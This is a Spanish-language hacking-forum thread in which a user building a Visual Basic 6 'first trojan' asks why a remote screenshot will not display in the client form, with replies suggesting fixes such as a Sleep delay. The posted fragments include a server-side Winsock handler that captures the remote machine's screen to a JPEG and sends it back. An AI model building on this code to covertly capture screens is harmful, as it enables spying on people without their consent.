Test Foro de elhacker.net SMF 2.1

Hola e seguido todo lo de este post http://foro.elhacker.net/programacion_vb/mi_primer_troyano_en_vb60-t170445.0.html;msg823252#msg823252  y lo e conseguido hacer la captura de screen pero el problema es como hacer para que el screen en jpg me muestre en el FORM de IMAGE....yo e agregado este code Image1.Picture = LoadPicture("Desktop.bmp") pero me tira error al cargar me dice que el jpg no esta encontrado...y yo creo que es por que esto se hace antes de que el jpg se cree por que en general tarda un pokio en crearse.....me entienden lo que digo :huh: :huh: :huh: :huh:



y otra cosa tambien es que no captura la barra de herramientas solo el escritorio  :-\

Hola, el link que pusiste es de un perfil..no veo nada...hay un modulo para pasar de bmp a jpg buscalo por ahi...

saludos.

uuu...perdon bueno en ese link esta el code....la cosa es sencilla pero no la puedo hacer andar...es que el jpg aparezca en el form  :-\

el problema es q ese pedazito de code al cual hiciste referencia no esta completo...
eso es solo el llamado al modulo clase.. pero falta el modulo clase
tal vez el error q te tira es aqui: Dim Foto As New Class1
eso es xq te falta el modulo clase CJpeg

el link esta mas arriba en ese mismo hilo posteado x EON.. el link q dejo es este:

http://www.pscode.com/vb/scripts/ShowZip.asp?lngWId=1&lngCodeId=56382&strZipAccessCode=tp%2FP563821492

no...creo que no me entendieron  ;D el modulo ya esta agregado y el screen funciona perfecto y se guarda correctamente en la ruta especificada...pero el problema es que no se carga en el Form en el Image....eso es nomas...

Cita de: Zaoner en 18 Noviembre 2008, 01:23 AM

Código [Seleccionar] Expandir

Image1.Picture = LoadPicture("Desktop.bmp")

el error esta ahi... si es un jpg no tenes q cargar un bmp xD

Código [Seleccionar] Expandir

Image1.Picture = LoadPicture("Desktop.jpg")

asi tendria q ser... de todos modos esa ruta tb esta incompleta : /

 :P :P :P ejej eso lo puse asi nomas osea la ruta es asi:

CitarImage1.Picture = LoadPicture("C:\capture.jpg")

y tampoco funciona.... MIEREN PARA QUE ENTIENDAN MAS FACIL ESTE ES EL CODE....


CLIENTE

Private Sub noscreen_Click()
Select Case MsgBox("Se elimino correctamente el screen anterior!", vbOKCancel + vbInformation, "Correcto")
Case vbOKCancel
Unload Me
End Select

Kill "C:\capture.jpg"

End Sub

Private Sub salir_Click()
End
End Sub

Private Sub screen_Click()
enviar "Screen"
End Sub



Y EN EL SERVER DELCARO ESTO

Dim Foto As New Class1 'Class1 es el nombre del module de clase cjpg.




Y EN LA PARTE DATTA ARRIVAL ES ASI

'SCREEN CAPTURE
       Case "Screen"
Resolucion = data(1)
Foto.SetSamplingFrequencies 2, 2, 2, 2, 2, 2
Foto.Quality = 100   'aqui ajustas la calidad dsd 1 a 100 hasi bajas calidad bajas peso
Foto.SampleScreen
Foto.SaveFile ("c:\capture.jpg")
WS.SendData "tamscreen|" & FileLen("C:\capture.jpg")


Entonces como haria para que al capturar la imagen y al ser guardad en "C" esta se muestre en el Form osea en el cliente en IMAGE

Alguna Ayuda?  :huh: :huh:

Wenas, si te refieres a q todo va bien, pero q no lo muestra porq va 'demasiado rapido', ponle un sleep:
Primero la declaracion
Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)

...
sleep 500
Image1.Picture = LoadPicture("Desktop.bmp")

un saludo ;)